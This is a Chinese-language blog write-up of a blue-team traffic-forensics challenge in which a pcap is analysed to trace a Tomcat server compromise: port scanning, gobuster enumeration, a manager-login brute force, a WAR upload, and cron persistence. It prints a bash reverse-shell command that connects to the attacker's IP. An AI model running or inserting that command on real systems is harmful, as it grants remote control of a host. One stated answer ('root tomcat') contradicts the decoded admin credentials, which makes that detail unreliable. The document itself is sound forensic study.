【流量题练习1】

Tomcat Takeover Blue Team Challenge

题目地址:地址:https://cyberdefenders.org/blueteam-ctf-challenges/tomcat-takeover/

流量题

比武中遇到这类题一直没有很好的办法。于是决定好好学习一下,把自己的做的题都记录下来,方便日后复盘和学习。

  1. Given the suspicious activity detected on the web server, the pcap analysis shows a series of requests across various ports, suggesting a potential scanning behavior. Can you identify the source IP address responsible for initiating these requests on our server? 意思是问谁在扫描这个服务器的端口。
    直接跳转到红色块,被拒绝的位置
    发现14.0.0.120:51985端口一直在扫描10.0.0.112的各个端口,所以是答案是14.0.0.120

  2. From the pcap analysis, multiple open ports were detected as a result of the attacker’s activitie scan. Which of these ports provides access to the web server admin panel? 意思是问通过流量包分析,哪个端口提供了web服务管理功能。
    往下面翻,发现在访问8080端口的时候是没有访问失败的。访问了10.0.0.112:8080
    追踪TCP流,看到源码之后往下翻
    这是 Apache Tomcat 7.0.88 默认欢迎页面的 HTML 源代码
    所以是8080端口,也是默认端口。
    这里补充一下
    我在学习这道题的时候是学习了大佬Q1anfang2的做法。但有了自己的一些新思考,如果有明白原理的大佬可以评论区告诉我。
    在取证中进行流量分析还可以使用networkminer这个软件。界面如下
    可以说是小白神器
    在如图所示中tomcat的管理端口不只是8080,还有4446、5578这些端口,我用wireshark过滤看了一下,如图
    访问失败
    其他几个端口皆是没有访问成功过。所以确定是8080.
    在Host Details中直接能够看到
    所以用NetworkMiner能够解决一些简单问题。

  3. Following the discovery of open ports on our server, it appears that the attacker attempted to enumerate and uncover directories and files on our web server. Which tools can you identify from the analysis that assisted the attacker in this enumeration process? 分析攻击者使用什么工具扫描目录和端口。
    通过查看14.0.0.120的Host Details查看
    能够发现有NAMP和gobuster
    通过在参数中搜索gobuster查看细节
    模糊搜索一下gobuster
    发现枚举了很多个目录
    所以是用的gobuster扫描端口和目录,搜索nmap无结果。

  4. Subsequent to their efforts to enumerate directories on our web server, the attacker made numerous requests trying to identify administrative interfaces. Which specific directory associated with the admin panel was the attacker able to uncover? 在尝试枚举我们Web服务器上的目录之后,攻击者发出了大量请求,试图识别管理界面。攻击者能够发现与管理面板相关联的哪个特定目录?

    我的方法很简单,先模糊搜索admin,然后追踪TCP流
    ADMIN登录成功
    gobuster登入admin转入manager目录
    所以是manager目录

  5. **Upon accessing the admin panel, the attacker made attempts to brute-force the login credentials. From the data, can you identify the correct username and password combination that the attacker successfully used for authorization?**在访问管理面板后,攻击者试图通过暴力破解登录凭据。根据数据,您能否确定攻击者成功用于授权的正确用户名和密码组合?
    首先查看NetWorkminer,里面的登录凭证Credentials,找到了第一次登录成功的admin tomcat
    对应着去Wireshark找一下登录成功的流量包。
    通过分析TCP流,我们发现
    在9455和9456流之间,
    9455
    9456
    User-Agent改变,说明此时gobuster扫描完了,开始准备登录了,开始从9456流分析。
    这里有个gif,开始可疑起来
    9460流,发现上传了一个文件。
    上传(upload)了JXQQZY.war
    9461流,已经登入进去开始输入命令了。
    9461流
    POST /manager/html/upload;jsessionid=0DE586F27B2F48D0CA045F731E0E9E71?org.apache.catalina.filters.CSRF_NONCE=83EDF4E2462ECC725BAF342DD7A46974 HTTP/1.1
    Host: 10.0.0.112:8080
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://10.0.0.112:8080/manager/html
    Content-Type: multipart/form-data; boundary=---------------------------309854885940911807712888696060
    Content-Length: 1324
    Origin: http://10.0.0.112:8080
    Authorization: Basic YWRtaW46dG9tY2F0
    Connection: keep-alive
    Cookie: JSESSIONID=0DE586F27B2F48D0CA045F731E0E9E71
    Upgrade-Insecure-Requests: 1

    直接AI看看
    Authorization是认证信息,使用Base64加密
    答案是 root tomcat。
    base64解码

  6. **Once inside the admin panel, the attacker attempted to upload a file with the intent of establishing a reverse shell. Can you identify the name of this malicious file from the captured data? ** 一旦进入管理面板,攻击者试图上传一个文件,意图建立反向shell。你能从捕获的数据中识别出这个恶意文件的名称吗?

    从上题就发现了是上传了个JXQOZY.war,拿去分析一下。
    用NetWorkminer导出,用火绒跑一下后门

  7. Upon successfully establishing a reverse shell on our server, the attacker aimed to ensure persistence on the compromised machine. From the analysis, can you determine the specific command they are scheduled to run to maintain their presence? 在成功在我们的服务器上建立反向shell之后,攻击者旨在确保在被攻陷的机器上保持持久性。从分析中,你能确定他们计划运行什么具体命令来维持他们的存在吗?

9461流,见5题。
/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'
在受害者的计算机上设置一个 cron 作业,每分钟尝试通过反向 shell 连接到指定的 IP 地址和端口

  • 17
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值